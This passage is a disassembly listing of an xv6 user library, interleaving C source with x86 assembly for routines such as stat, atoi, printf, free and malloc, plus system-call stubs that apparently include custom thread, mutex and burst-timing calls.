2b1: 7c a9 jl 25c <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2b3: 8b 55 f4 mov -0xc(%ebp),%edx
2b6: 8b 45 08 mov 0x8(%ebp),%eax
2b9: 01 d0 add %edx,%eax
2bb: c6 00 00 movb $0x0,(%eax)
return buf;
2be: 8b 45 08 mov 0x8(%ebp),%eax
}
2c1: c9 leave
2c2: c3 ret
000002c3 <stat>:
int
stat(char *n, struct stat *st)
{
2c3: 55 push %ebp
2c4: 89 e5 mov %esp,%ebp
2c6: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
2c9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2d0: 00
2d1: 8b 45 08 mov 0x8(%ebp),%eax
2d4: 89 04 24 mov %eax,(%esp)
2d7: e8 07 01 00 00 call 3e3 <open>
2dc: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2df: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2e3: 79 07 jns 2ec <stat+0x29>
return -1;
2e5: b8 ff ff ff ff mov $0xffffffff,%eax
2ea: eb 23 jmp 30f <stat+0x4c>
r = fstat(fd, st);
2ec: 8b 45 0c mov 0xc(%ebp),%eax
2ef: 89 44 24 04 mov %eax,0x4(%esp)
2f3: 8b 45 f4 mov -0xc(%ebp),%eax
2f6: 89 04 24 mov %eax,(%esp)
2f9: e8 fd 00 00 00 call 3fb <fstat>
2fe: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
301: 8b 45 f4 mov -0xc(%ebp),%eax
304: 89 04 24 mov %eax,(%esp)
307: e8 bf 00 00 00 call 3cb <close>
return r;
30c: 8b 45 f0 mov -0x10(%ebp),%eax
}
30f: c9 leave
310: c3 ret
00000311 <atoi>:
int
atoi(const char *s)
{
311: 55 push %ebp
312: 89 e5 mov %esp,%ebp
314: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
317: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
31e: eb 25 jmp 345 <atoi+0x34>
n = n*10 + *s++ - '0';
320: 8b 55 fc mov -0x4(%ebp),%edx
323: 89 d0 mov %edx,%eax
325: c1 e0 02 shl $0x2,%eax
328: 01 d0 add %edx,%eax
32a: 01 c0 add %eax,%eax
32c: 89 c1 mov %eax,%ecx
32e: 8b 45 08 mov 0x8(%ebp),%eax
331: 8d 50 01 lea 0x1(%eax),%edx
334: 89 55 08 mov %edx,0x8(%ebp)
337: 0f b6 00 movzbl (%eax),%eax
33a: 0f be c0 movsbl %al,%eax
33d: 01 c8 add %ecx,%eax
33f: 83 e8 30 sub $0x30,%eax
342: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
345: 8b 45 08 mov 0x8(%ebp),%eax
348: 0f b6 00 movzbl (%eax),%eax
34b: 3c 2f cmp $0x2f,%al
34d: 7e 0a jle 359 <atoi+0x48>
34f: 8b 45 08 mov 0x8(%ebp),%eax
352: 0f b6 00 movzbl (%eax),%eax
355: 3c 39 cmp $0x39,%al
357: 7e c7 jle 320 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
359: 8b 45 fc mov -0x4(%ebp),%eax
}
35c: c9 leave
35d: c3 ret
0000035e <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
35e: 55 push %ebp
35f: 89 e5 mov %esp,%ebp
361: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
364: 8b 45 08 mov 0x8(%ebp),%eax
367: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
36a: 8b 45 0c mov 0xc(%ebp),%eax
36d: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
370: eb 17 jmp 389 <memmove+0x2b>
*dst++ = *src++;
372: 8b 45 fc mov -0x4(%ebp),%eax
375: 8d 50 01 lea 0x1(%eax),%edx
378: 89 55 fc mov %edx,-0x4(%ebp)
37b: 8b 55 f8 mov -0x8(%ebp),%edx
37e: 8d 4a 01 lea 0x1(%edx),%ecx
381: 89 4d f8 mov %ecx,-0x8(%ebp)
384: 0f b6 12 movzbl (%edx),%edx
387: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
389: 8b 45 10 mov 0x10(%ebp),%eax
38c: 8d 50 ff lea -0x1(%eax),%edx
38f: 89 55 10 mov %edx,0x10(%ebp)
392: 85 c0 test %eax,%eax
394: 7f dc jg 372 <memmove+0x14>
*dst++ = *src++;
return vdst;
396: 8b 45 08 mov 0x8(%ebp),%eax
}
399: c9 leave
39a: c3 ret
0000039b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
39b: b8 01 00 00 00 mov $0x1,%eax
3a0: cd 40 int $0x40
3a2: c3 ret
000003a3 <exit>:
SYSCALL(exit)
3a3: b8 02 00 00 00 mov $0x2,%eax
3a8: cd 40 int $0x40
3aa: c3 ret
000003ab <wait>:
SYSCALL(wait)
3ab: b8 03 00 00 00 mov $0x3,%eax
3b0: cd 40 int $0x40
3b2: c3 ret
000003b3 <pipe>:
SYSCALL(pipe)
3b3: b8 04 00 00 00 mov $0x4,%eax
3b8: cd 40 int $0x40
3ba: c3 ret
000003bb <read>:
SYSCALL(read)
3bb: b8 05 00 00 00 mov $0x5,%eax
3c0: cd 40 int $0x40
3c2: c3 ret
000003c3 <write>:
SYSCALL(write)
3c3: b8 10 00 00 00 mov $0x10,%eax
3c8: cd 40 int $0x40
3ca: c3 ret
000003cb <close>:
SYSCALL(close)
3cb: b8 15 00 00 00 mov $0x15,%eax
3d0: cd 40 int $0x40
3d2: c3 ret
000003d3 <kill>:
SYSCALL(kill)
3d3: b8 06 00 00 00 mov $0x6,%eax
3d8: cd 40 int $0x40
3da: c3 ret
000003db <exec>:
SYSCALL(exec)
3db: b8 07 00 00 00 mov $0x7,%eax
3e0: cd 40 int $0x40
3e2: c3 ret
000003e3 <open>:
SYSCALL(open)
3e3: b8 0f 00 00 00 mov $0xf,%eax
3e8: cd 40 int $0x40
3ea: c3 ret
000003eb <mknod>:
SYSCALL(mknod)
3eb: b8 11 00 00 00 mov $0x11,%eax
3f0: cd 40 int $0x40
3f2: c3 ret
000003f3 <unlink>:
SYSCALL(unlink)
3f3: b8 12 00 00 00 mov $0x12,%eax
3f8: cd 40 int $0x40
3fa: c3 ret
000003fb <fstat>:
SYSCALL(fstat)
3fb: b8 08 00 00 00 mov $0x8,%eax
400: cd 40 int $0x40
402: c3 ret
00000403 <link>:
SYSCALL(link)
403: b8 13 00 00 00 mov $0x13,%eax
408: cd 40 int $0x40
40a: c3 ret
0000040b <mkdir>:
SYSCALL(mkdir)
40b: b8 14 00 00 00 mov $0x14,%eax
410: cd 40 int $0x40
412: c3 ret
00000413 <chdir>:
SYSCALL(chdir)
413: b8 09 00 00 00 mov $0x9,%eax
418: cd 40 int $0x40
41a: c3 ret
0000041b <dup>:
SYSCALL(dup)
41b: b8 0a 00 00 00 mov $0xa,%eax
420: cd 40 int $0x40
422: c3 ret
00000423 <getpid>:
SYSCALL(getpid)
423: b8 0b 00 00 00 mov $0xb,%eax
428: cd 40 int $0x40
42a: c3 ret
0000042b <sbrk>:
SYSCALL(sbrk)
42b: b8 0c 00 00 00 mov $0xc,%eax
430: cd 40 int $0x40
432: c3 ret
00000433 <sleep>:
SYSCALL(sleep)
433: b8 0d 00 00 00 mov $0xd,%eax
438: cd 40 int $0x40
43a: c3 ret
0000043b <uptime>:
SYSCALL(uptime)
43b: b8 0e 00 00 00 mov $0xe,%eax
440: cd 40 int $0x40
442: c3 ret
00000443 <startBurst>:
SYSCALL(startBurst)
443: b8 16 00 00 00 mov $0x16,%eax
448: cd 40 int $0x40
44a: c3 ret
0000044b <endBurst>:
SYSCALL(endBurst)
44b: b8 17 00 00 00 mov $0x17,%eax
450: cd 40 int $0x40
452: c3 ret
00000453 <print_bursts>:
SYSCALL(print_bursts)
453: b8 18 00 00 00 mov $0x18,%eax
458: cd 40 int $0x40
45a: c3 ret
0000045b <thread_create>:
SYSCALL(thread_create)
45b: b8 19 00 00 00 mov $0x19,%eax
460: cd 40 int $0x40
462: c3 ret
00000463 <thread_join>:
SYSCALL(thread_join)
463: b8 1a 00 00 00 mov $0x1a,%eax
468: cd 40 int $0x40
46a: c3 ret
0000046b <mtx_create>:
SYSCALL(mtx_create)
46b: b8 1b 00 00 00 mov $0x1b,%eax
470: cd 40 int $0x40
472: c3 ret
00000473 <mtx_lock>:
SYSCALL(mtx_lock)
473: b8 1c 00 00 00 mov $0x1c,%eax
478: cd 40 int $0x40
47a: c3 ret
0000047b <mtx_unlock>:
SYSCALL(mtx_unlock)
47b: b8 1d 00 00 00 mov $0x1d,%eax
480: cd 40 int $0x40
482: c3 ret
00000483 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
483: 55 push %ebp
484: 89 e5 mov %esp,%ebp
486: 83 ec 18 sub $0x18,%esp
489: 8b 45 0c mov 0xc(%ebp),%eax
48c: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
48f: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
496: 00
497: 8d 45 f4 lea -0xc(%ebp),%eax
49a: 89 44 24 04 mov %eax,0x4(%esp)
49e: 8b 45 08 mov 0x8(%ebp),%eax
4a1: 89 04 24 mov %eax,(%esp)
4a4: e8 1a ff ff ff call 3c3 <write>
}
4a9: c9 leave
4aa: c3 ret
000004ab <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
4ab: 55 push %ebp
4ac: 89 e5 mov %esp,%ebp
4ae: 56 push %esi
4af: 53 push %ebx
4b0: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
4b3: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
4ba: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
4be: 74 17 je 4d7 <printint+0x2c>
4c0: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
4c4: 79 11 jns 4d7 <printint+0x2c>
neg = 1;
4c6: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
4cd: 8b 45 0c mov 0xc(%ebp),%eax
4d0: f7 d8 neg %eax
4d2: 89 45 ec mov %eax,-0x14(%ebp)
4d5: eb 06 jmp 4dd <printint+0x32>
} else {
x = xx;
4d7: 8b 45 0c mov 0xc(%ebp),%eax
4da: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
4dd: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
4e4: 8b 4d f4 mov -0xc(%ebp),%ecx
4e7: 8d 41 01 lea 0x1(%ecx),%eax
4ea: 89 45 f4 mov %eax,-0xc(%ebp)
4ed: 8b 5d 10 mov 0x10(%ebp),%ebx
4f0: 8b 45 ec mov -0x14(%ebp),%eax
4f3: ba 00 00 00 00 mov $0x0,%edx
4f8: f7 f3 div %ebx
4fa: 89 d0 mov %edx,%eax
4fc: 0f b6 80 b2 0b 00 00 movzbl 0xbb2(%eax),%eax
503: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
507: 8b 75 10 mov 0x10(%ebp),%esi
50a: 8b 45 ec mov -0x14(%ebp),%eax
50d: ba 00 00 00 00 mov $0x0,%edx
512: f7 f6 div %esi
514: 89 45 ec mov %eax,-0x14(%ebp)
517: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
51b: 75 c7 jne 4e4 <printint+0x39>
if(neg)
51d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
521: 74 10 je 533 <printint+0x88>
buf[i++] = '-';
523: 8b 45 f4 mov -0xc(%ebp),%eax
526: 8d 50 01 lea 0x1(%eax),%edx
529: 89 55 f4 mov %edx,-0xc(%ebp)
52c: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
531: eb 1f jmp 552 <printint+0xa7>
533: eb 1d jmp 552 <printint+0xa7>
putc(fd, buf[i]);
535: 8d 55 dc lea -0x24(%ebp),%edx
538: 8b 45 f4 mov -0xc(%ebp),%eax
53b: 01 d0 add %edx,%eax
53d: 0f b6 00 movzbl (%eax),%eax
540: 0f be c0 movsbl %al,%eax
543: 89 44 24 04 mov %eax,0x4(%esp)
547: 8b 45 08 mov 0x8(%ebp),%eax
54a: 89 04 24 mov %eax,(%esp)
54d: e8 31 ff ff ff call 483 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
552: 83 6d f4 01 subl $0x1,-0xc(%ebp)
556: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
55a: 79 d9 jns 535 <printint+0x8a>
putc(fd, buf[i]);
}
55c: 83 c4 30 add $0x30,%esp
55f: 5b pop %ebx
560: 5e pop %esi
561: 5d pop %ebp
562: c3 ret
00000563 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
563: 55 push %ebp
564: 89 e5 mov %esp,%ebp
566: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
569: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
570: 8d 45 0c lea 0xc(%ebp),%eax
573: 83 c0 04 add $0x4,%eax
576: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
579: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
580: e9 7c 01 00 00 jmp 701 <printf+0x19e>
c = fmt[i] & 0xff;
585: 8b 55 0c mov 0xc(%ebp),%edx
588: 8b 45 f0 mov -0x10(%ebp),%eax
58b: 01 d0 add %edx,%eax
58d: 0f b6 00 movzbl (%eax),%eax
590: 0f be c0 movsbl %al,%eax
593: 25 ff 00 00 00 and $0xff,%eax
598: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
59b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
59f: 75 2c jne 5cd <printf+0x6a>
if(c == '%'){
5a1: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
5a5: 75 0c jne 5b3 <printf+0x50>
state = '%';
5a7: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
5ae: e9 4a 01 00 00 jmp 6fd <printf+0x19a>
} else {
putc(fd, c);
5b3: 8b 45 e4 mov -0x1c(%ebp),%eax
5b6: 0f be c0 movsbl %al,%eax
5b9: 89 44 24 04 mov %eax,0x4(%esp)
5bd: 8b 45 08 mov 0x8(%ebp),%eax
5c0: 89 04 24 mov %eax,(%esp)
5c3: e8 bb fe ff ff call 483 <putc>
5c8: e9 30 01 00 00 jmp 6fd <printf+0x19a>
}
} else if(state == '%'){
5cd: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
5d1: 0f 85 26 01 00 00 jne 6fd <printf+0x19a>
if(c == 'd'){
5d7: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
5db: 75 2d jne 60a <printf+0xa7>
printint(fd, *ap, 10, 1);
5dd: 8b 45 e8 mov -0x18(%ebp),%eax
5e0: 8b 00 mov (%eax),%eax
5e2: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
5e9: 00
5ea: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
5f1: 00
5f2: 89 44 24 04 mov %eax,0x4(%esp)
5f6: 8b 45 08 mov 0x8(%ebp),%eax
5f9: 89 04 24 mov %eax,(%esp)
5fc: e8 aa fe ff ff call 4ab <printint>
ap++;
601: 83 45 e8 04 addl $0x4,-0x18(%ebp)
605: e9 ec 00 00 00 jmp 6f6 <printf+0x193>
} else if(c == 'x' || c == 'p'){
60a: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
60e: 74 06 je 616 <printf+0xb3>
610: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
614: 75 2d jne 643 <printf+0xe0>
printint(fd, *ap, 16, 0);
616: 8b 45 e8 mov -0x18(%ebp),%eax
619: 8b 00 mov (%eax),%eax
61b: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
622: 00
623: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
62a: 00
62b: 89 44 24 04 mov %eax,0x4(%esp)
62f: 8b 45 08 mov 0x8(%ebp),%eax
632: 89 04 24 mov %eax,(%esp)
635: e8 71 fe ff ff call 4ab <printint>
ap++;
63a: 83 45 e8 04 addl $0x4,-0x18(%ebp)
63e: e9 b3 00 00 00 jmp 6f6 <printf+0x193>
} else if(c == 's'){
643: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
647: 75 45 jne 68e <printf+0x12b>
s = (char*)*ap;
649: 8b 45 e8 mov -0x18(%ebp),%eax
64c: 8b 00 mov (%eax),%eax
64e: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
651: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
655: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
659: 75 09 jne 664 <printf+0x101>
s = "(null)";
65b: c7 45 f4 43 09 00 00 movl $0x943,-0xc(%ebp)
while(*s != 0){
662: eb 1e jmp 682 <printf+0x11f>
664: eb 1c jmp 682 <printf+0x11f>
putc(fd, *s);
666: 8b 45 f4 mov -0xc(%ebp),%eax
669: 0f b6 00 movzbl (%eax),%eax
66c: 0f be c0 movsbl %al,%eax
66f: 89 44 24 04 mov %eax,0x4(%esp)
673: 8b 45 08 mov 0x8(%ebp),%eax
676: 89 04 24 mov %eax,(%esp)
679: e8 05 fe ff ff call 483 <putc>
s++;
67e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
682: 8b 45 f4 mov -0xc(%ebp),%eax
685: 0f b6 00 movzbl (%eax),%eax
688: 84 c0 test %al,%al
68a: 75 da jne 666 <printf+0x103>
68c: eb 68 jmp 6f6 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
68e: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
692: 75 1d jne 6b1 <printf+0x14e>
putc(fd, *ap);
694: 8b 45 e8 mov -0x18(%ebp),%eax
697: 8b 00 mov (%eax),%eax
699: 0f be c0 movsbl %al,%eax
69c: 89 44 24 04 mov %eax,0x4(%esp)
6a0: 8b 45 08 mov 0x8(%ebp),%eax
6a3: 89 04 24 mov %eax,(%esp)
6a6: e8 d8 fd ff ff call 483 <putc>
ap++;
6ab: 83 45 e8 04 addl $0x4,-0x18(%ebp)
6af: eb 45 jmp 6f6 <printf+0x193>
} else if(c == '%'){
6b1: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
6b5: 75 17 jne 6ce <printf+0x16b>
putc(fd, c);
6b7: 8b 45 e4 mov -0x1c(%ebp),%eax
6ba: 0f be c0 movsbl %al,%eax
6bd: 89 44 24 04 mov %eax,0x4(%esp)
6c1: 8b 45 08 mov 0x8(%ebp),%eax
6c4: 89 04 24 mov %eax,(%esp)
6c7: e8 b7 fd ff ff call 483 <putc>
6cc: eb 28 jmp 6f6 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
6ce: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
6d5: 00
6d6: 8b 45 08 mov 0x8(%ebp),%eax
6d9: 89 04 24 mov %eax,(%esp)
6dc: e8 a2 fd ff ff call 483 <putc>
putc(fd, c);
6e1: 8b 45 e4 mov -0x1c(%ebp),%eax
6e4: 0f be c0 movsbl %al,%eax
6e7: 89 44 24 04 mov %eax,0x4(%esp)
6eb: 8b 45 08 mov 0x8(%ebp),%eax
6ee: 89 04 24 mov %eax,(%esp)
6f1: e8 8d fd ff ff call 483 <putc>
}
state = 0;
6f6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6fd: 83 45 f0 01 addl $0x1,-0x10(%ebp)
701: 8b 55 0c mov 0xc(%ebp),%edx
704: 8b 45 f0 mov -0x10(%ebp),%eax
707: 01 d0 add %edx,%eax
709: 0f b6 00 movzbl (%eax),%eax
70c: 84 c0 test %al,%al
70e: 0f 85 71 fe ff ff jne 585 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
714: c9 leave
715: c3 ret
00000716 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
716: 55 push %ebp
717: 89 e5 mov %esp,%ebp
719: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
71c: 8b 45 08 mov 0x8(%ebp),%eax
71f: 83 e8 08 sub $0x8,%eax
722: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
725: a1 cc 0b 00 00 mov 0xbcc,%eax
72a: 89 45 fc mov %eax,-0x4(%ebp)
72d: eb 24 jmp 753 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
72f: 8b 45 fc mov -0x4(%ebp),%eax
732: 8b 00 mov (%eax),%eax
734: 3b 45 fc cmp -0x4(%ebp),%eax
737: 77 12 ja 74b <free+0x35>
739: 8b 45 f8 mov -0x8(%ebp),%eax
73c: 3b 45 fc cmp -0x4(%ebp),%eax
73f: 77 24 ja 765 <free+0x4f>
741: 8b 45 fc mov -0x4(%ebp),%eax
744: 8b 00 mov (%eax),%eax
746: 3b 45 f8 cmp -0x8(%ebp),%eax
749: 77 1a ja 765 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
74b: 8b 45 fc mov -0x4(%ebp),%eax
74e: 8b 00 mov (%eax),%eax
750: 89 45 fc mov %eax,-0x4(%ebp)
753: 8b 45 f8 mov -0x8(%ebp),%eax
756: 3b 45 fc cmp -0x4(%ebp),%eax
759: 76 d4 jbe 72f <free+0x19>
75b: 8b 45 fc mov -0x4(%ebp),%eax
75e: 8b 00 mov (%eax),%eax
760: 3b 45 f8 cmp -0x8(%ebp),%eax
763: 76 ca jbe 72f <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
765: 8b 45 f8 mov -0x8(%ebp),%eax
768: 8b 40 04 mov 0x4(%eax),%eax
76b: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
772: 8b 45 f8 mov -0x8(%ebp),%eax
775: 01 c2 add %eax,%edx
777: 8b 45 fc mov -0x4(%ebp),%eax
77a: 8b 00 mov (%eax),%eax
77c: 39 c2 cmp %eax,%edx
77e: 75 24 jne 7a4 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
780: 8b 45 f8 mov -0x8(%ebp),%eax
783: 8b 50 04 mov 0x4(%eax),%edx
786: 8b 45 fc mov -0x4(%ebp),%eax
789: 8b 00 mov (%eax),%eax
78b: 8b 40 04 mov 0x4(%eax),%eax
78e: 01 c2 add %eax,%edx
790: 8b 45 f8 mov -0x8(%ebp),%eax
793: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
796: 8b 45 fc mov -0x4(%ebp),%eax
799: 8b 00 mov (%eax),%eax
79b: 8b 10 mov (%eax),%edx
79d: 8b 45 f8 mov -0x8(%ebp),%eax
7a0: 89 10 mov %edx,(%eax)
7a2: eb 0a jmp 7ae <free+0x98>
} else
bp->s.ptr = p->s.ptr;
7a4: 8b 45 fc mov -0x4(%ebp),%eax
7a7: 8b 10 mov (%eax),%edx
7a9: 8b 45 f8 mov -0x8(%ebp),%eax
7ac: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
7ae: 8b 45 fc mov -0x4(%ebp),%eax
7b1: 8b 40 04 mov 0x4(%eax),%eax
7b4: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
7bb: 8b 45 fc mov -0x4(%ebp),%eax
7be: 01 d0 add %edx,%eax
7c0: 3b 45 f8 cmp -0x8(%ebp),%eax
7c3: 75 20 jne 7e5 <free+0xcf>
p->s.size += bp->s.size;
7c5: 8b 45 fc mov -0x4(%ebp),%eax
7c8: 8b 50 04 mov 0x4(%eax),%edx
7cb: 8b 45 f8 mov -0x8(%ebp),%eax
7ce: 8b 40 04 mov 0x4(%eax),%eax
7d1: 01 c2 add %eax,%edx
7d3: 8b 45 fc mov -0x4(%ebp),%eax
7d6: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
7d9: 8b 45 f8 mov -0x8(%ebp),%eax
7dc: 8b 10 mov (%eax),%edx
7de: 8b 45 fc mov -0x4(%ebp),%eax
7e1: 89 10 mov %edx,(%eax)
7e3: eb 08 jmp 7ed <free+0xd7>
} else
p->s.ptr = bp;
7e5: 8b 45 fc mov -0x4(%ebp),%eax
7e8: 8b 55 f8 mov -0x8(%ebp),%edx
7eb: 89 10 mov %edx,(%eax)
freep = p;
7ed: 8b 45 fc mov -0x4(%ebp),%eax
7f0: a3 cc 0b 00 00 mov %eax,0xbcc
}
7f5: c9 leave
7f6: c3 ret
000007f7 <morecore>:
static Header*
morecore(uint nu)
{
7f7: 55 push %ebp
7f8: 89 e5 mov %esp,%ebp
7fa: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
7fd: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
804: 77 07 ja 80d <morecore+0x16>
nu = 4096;
806: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
80d: 8b 45 08 mov 0x8(%ebp),%eax
810: c1 e0 03 shl $0x3,%eax
813: 89 04 24 mov %eax,(%esp)
816: e8 10 fc ff ff call 42b <sbrk>
81b: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
81e: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
822: 75 07 jne 82b <morecore+0x34>
return 0;
824: b8 00 00 00 00 mov $0x0,%eax
829: eb 22 jmp 84d <morecore+0x56>
hp = (Header*)p;
82b: 8b 45 f4 mov -0xc(%ebp),%eax
82e: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
831: 8b 45 f0 mov -0x10(%ebp),%eax
834: 8b 55 08 mov 0x8(%ebp),%edx
837: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
83a: 8b 45 f0 mov -0x10(%ebp),%eax
83d: 83 c0 08 add $0x8,%eax
840: 89 04 24 mov %eax,(%esp)
843: e8 ce fe ff ff call 716 <free>
return freep;
848: a1 cc 0b 00 00 mov 0xbcc,%eax
}
84d: c9 leave
84e: c3 ret
0000084f <malloc>:
void*
malloc(uint nbytes)
{
84f: 55 push %ebp
850: 89 e5 mov %esp,%ebp
852: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
855: 8b 45 08 mov 0x8(%ebp),%eax
858: 83 c0 07 add $0x7,%eax
85b: c1 e8 03 shr $0x3,%eax
85e: 83 c0 01 add $0x1,%eax
861: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
864: a1 cc 0b 00 00 mov 0xbcc,%eax
869: 89 45 f0 mov %eax,-0x10(%ebp)
86c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
870: 75 23 jne 895 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
872: c7 45 f0 c4 0b 00 00 movl $0xbc4,-0x10(%ebp)
879: 8b 45 f0 mov -0x10(%ebp),%eax
87c: a3 cc 0b 00 00 mov %eax,0xbcc
881: a1 cc 0b 00 00 mov 0xbcc,%eax
886: a3 c4 0b 00 00 mov %eax,0xbc4
base.s.size = 0;
88b: c7 05 c8 0b 00 00 00 movl $0x0,0xbc8
892: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
895: 8b 45 f0 mov -0x10(%ebp),%eax
898: 8b 00 mov (%eax),%eax
89a: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
89d: 8b 45 f4 mov -0xc(%ebp),%eax
8a0: 8b 40 04 mov 0x4(%eax),%eax
8a3: 3b 45 ec cmp -0x14(%ebp),%eax
8a6: 72 4d jb 8f5 <malloc+0xa6>
if(p->s.size == nunits)
8a8: 8b 45 f4 mov -0xc(%ebp),%eax
8ab: 8b 40 04 mov 0x4(%eax),%eax
8ae: 3b 45 ec cmp -0x14(%ebp),%eax
8b1: 75 0c jne 8bf <malloc+0x70>
prevp->s.ptr = p->s.ptr;
8b3: 8b 45 f4 mov -0xc(%ebp),%eax
8b6: 8b 10 mov (%eax),%edx
8b8: 8b 45 f0 mov -0x10(%ebp),%eax
8bb: 89 10 mov %edx,(%eax)
8bd: eb 26 jmp 8e5 <malloc+0x96>
else {
p->s.size -= nunits;
8bf: 8b 45 f4 mov -0xc(%ebp),%eax
8c2: 8b 40 04 mov 0x4(%eax),%eax
8c5: 2b 45 ec sub -0x14(%ebp),%eax
8c8: 89 c2 mov %eax,%edx
8ca: 8b 45 f4 mov -0xc(%ebp),%eax
8cd: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
8d0: 8b 45 f4 mov -0xc(%ebp),%eax
8d3: 8b 40 04 mov 0x4(%eax),%eax
8d6: c1 e0 03 shl $0x3,%eax
8d9: 01 45 f4 add %eax,-0xc(%ebp)
